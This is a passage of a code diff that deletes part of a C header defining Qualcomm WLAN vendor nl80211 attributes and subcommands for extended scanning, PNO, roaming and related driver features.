-   * available.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA,
-
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of wifi scan results/bssids retrieved by the scan.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
-   * of wifi scan results returned for each cached result block.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT sub-command.
-   */
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_TYPE,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_STATUS,
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND sub-command.
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of results.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE sub-command.
-   */
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_BSSID,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_CHANNEL,
-  /* Unsigned 32-bit value.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_NUM_RSSI,
-  /* A nested array of signed 32-bit RSSI values. Size of the array is
-   * determined by (NUM_RSSI of SIGNIFICANT_CHANGE_RESULT_NUM_RSSI.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_RSSI_LIST,
-
-  /* EXTSCAN attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS sub-command.
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
-   * to indicate number of gscan cached results returned.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST to indicate
-   *  the list of gscan cached results.
-   */
-
-  /* An array of NUM_RESULTS_AVAILABLE x
-   * QCA_NL80211_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_*
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST,
-  /* Unsigned 32-bit value; a unique identifier for the scan unit. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID,
-  /* Unsigned 32-bit value; a bitmask w/additional information about scan. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_FLAGS,
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
-   * to indicate number of wifi scan results/bssids retrieved by the scan.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
-   * of wifi scan results returned for each cached result block.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_NETWORK_FOUND sub-command.
-   */
-  /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE for number
-   * of results.
-   * Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
-   * list of wifi scan results returned for each wifi_passpoint_match_result
-   * block. Array size:
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_PASSPOINT_NETWORK_FOUND sub-command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES,
-  /* A nested array of
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_*
-   * attributes. Array size =
-   * *_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_RESULT_LIST,
-
-  /* Unsigned 32-bit value; network block id for the matched network */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ID,
-  /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
-   * list of wifi scan results returned for each wifi_passpoint_match_result
-   * block.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP_LEN,
-  /* An array size of PASSPOINT_MATCH_ANQP_LEN of unsigned 8-bit values;
-   * ANQP data in the information_element format.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP,
-
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_SSIDS,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS_BY_SSID,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_WHITELISTED_SSID,
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND sub-command &
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST sub-command
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of results.
-   */
-  /* Unsigned 32bit value, Bit mask of all buckets scanned in the
-   * current EXTSCAN CYCLE. For e.g. If fw scan is going to scan
-   * following buckets 0, 1, 2 in current cycle then it will be
-   * (0x111).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_BUCKETS_SCANNED,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_pno_config_params {
-  QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
-  /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
-   * attributes. Array size =
-   * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
-
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
-  /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
-   * realm, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
-  /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
-   * to match, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
-  /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
-   *  unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
-  /* Array of nested
-   * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
-   * attributes. Array size =
-   *		QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
-  /* Signed 8-bit value; threshold for considering this SSID as found,
-   * required granularity for this threshold is 4dBm to 8dBm
-   * This attribute is obsolete.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
-  /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
-  /* Unsigned 8-bit value; auth bit field for matching WPA IE */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
-
-  /* Unsigned 8-bit to indicate ePNO type;
-   * It takes values from qca_wlan_epno_type
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
-
-  /* Nested attribute to send the channel list */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
-
-  /* Unsigned 32-bit value; indicates the Interval between PNO scan
-   * cycles in msec
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
-  /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
-   * considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
-  /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
-   * be considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
-  /* Signed 32-bit value; the maximum score that a network
-   * can have before bonuses
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
-  /* Signed 32-bit value; only report when there is a network's
-   * score this much higher han the current connection
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
-  /* Signed 32-bit value; score bonus for all networks with
-   * the same network flag
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
-  /* Signed 32-bit value; score bonus for networks that are
-   * not open
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
-  /* Signed 32-bit value; 5GHz RSSI score bonus
-   * applied to all 5GHz networks
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_roaming_config_params {
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_INVALID = 0,
-
-  QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD = 1,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID = 2,
-
-  /* Attributes for wifi_set_ssid_white_list */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_NUM_NETWORKS = 3,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_LIST = 4,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID = 5,
-
-  /* Attributes for set_roam_params */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_THRESHOLD = 6,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_THRESHOLD = 7,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_FACTOR = 8,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_FACTOR = 9,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_MAX_BOOST = 10,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_LAZY_ROAM_HISTERESYS = 11,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_ALERT_ROAM_RSSI_TRIGGER = 12,
-
-  /* Attribute for set_lazy_roam */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_ENABLE = 13,
-
-  /* Attribute for set_lazy_roam with preferences */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS = 14,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID = 15,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID = 16,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER = 17,
-
-  /* Attribute for set_ blacklist bssid params */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS = 18,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID = 19,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID = 20,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_extscan_config_params {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
-
-  /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
-   * either gets it from caller, e.g., framework, or generates one if
-   * framework doesn't provide it.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
-
-  /* NL attributes for input params used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
-   */
-
-  /* Unsigned 32-bit value; channel frequency */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
-  /* Unsigned 32-bit value; dwell time in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
-  /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
-  /* Unsigned 8-bit value; channel class */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
-
-  /* Unsigned 8-bit value; bucket index, 0 based */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
-  /* Unsigned 8-bit value; band. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
-  /* Unsigned 32-bit value; desired period, in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
-  /* Unsigned 8-bit value; report events semantics. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
-  /* Unsigned 32-bit value.
-   * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
-
-  /* Unsigned 32-bit value; base timer period in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
-  /* Unsigned 32-bit value; number of APs to store in each scan in the
-   * BSSID/RSSI history buffer (keep the highest RSSI APs).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
-  /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
-   * APPS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
-  /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
-   * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
-   * array is determined by NUM_BUCKETS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
-
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
-  /* Unsigned 32-bit value; maximum number of results to be returned. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
-
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
-
-  /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
-   * array of AP_THRESHOLD_PARAM attributes and values. The size of the
-   * array is determined by NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
-
-  /* Unsigned 32bit value; number of samples for averaging RSSI. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of APs breaching threshold. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
-  /* Unsigned 32bit value; number of APs. Followed by an array of
-   * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
-
-  /* Unsigned 32-bit value. If max_period is non zero or different than
-   * period, then this bucket is an exponential backoff bucket.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
-  /* Unsigned 32-bit value. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
-  /* Unsigned 32-bit value. For exponential back off bucket, number of scans
-   * to performed for a given period.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
-  /* Unsigned 8-bit value; in number of scans, wake up AP after these
-   * many scans.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
-   */
-  /* Unsigned 32bit value; number of samples to confirm SSID loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
-  /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
-   * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
-   * array is determined by NUM_SSID.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
-
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
-
-  /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
-};
-
-enum qca_nl80211_vendor_subcmds {
-  QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
-  QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
-  /* subcmds 2..8 not yet allocated */
-  QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
-  QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
-  QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
-  QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
-  /* subcommands for link layer statistics start here */
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
-  /* subcommands for extscan start here */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
-  /* Used when report_threshold is reached in scan cache. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
-  /* Used to report scan results when each probe rsp. is received,
-   * if report_events enabled in wifi_scan_cmd_params.
-   */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
-  /* Indicates progress of scanning state-machine. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
-  /* Indicates BSSID Hotlist. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
-  /* EXT TDLS */
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
-  /* Get supported features */
-  QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
-
-  /* Set scanning_mac_oui */
-  QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
-  /* Set nodfs_flag */
-  QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
-
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
-
-  /* Get Concurrency Matrix */
-  QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
-
-  /* Get the security keys for key management offload */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
-
-  /* Send the roaming and authentication info after roaming */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
-
-  QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
-
-  /* Deprecated */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
-
-  QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
-
-  /* Get the supported features by the driver */
-  QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
-
-  /* Off loaded DFS events */
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
-
-  /* Get Wifi Specific Info */
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
-  /* Start Wifi Logger */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
-  /* Start Wifi Memory Dump */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
